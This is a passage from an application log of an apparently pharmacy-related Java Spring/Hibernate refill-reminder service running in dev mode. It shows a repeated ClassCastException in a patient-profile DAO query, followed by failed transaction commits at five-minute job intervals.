org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:20:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:20:09 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 18:20:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:20:09 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:09 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 18:20:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:10 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:20:10 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:20:10 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:20:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:10 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 18:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is 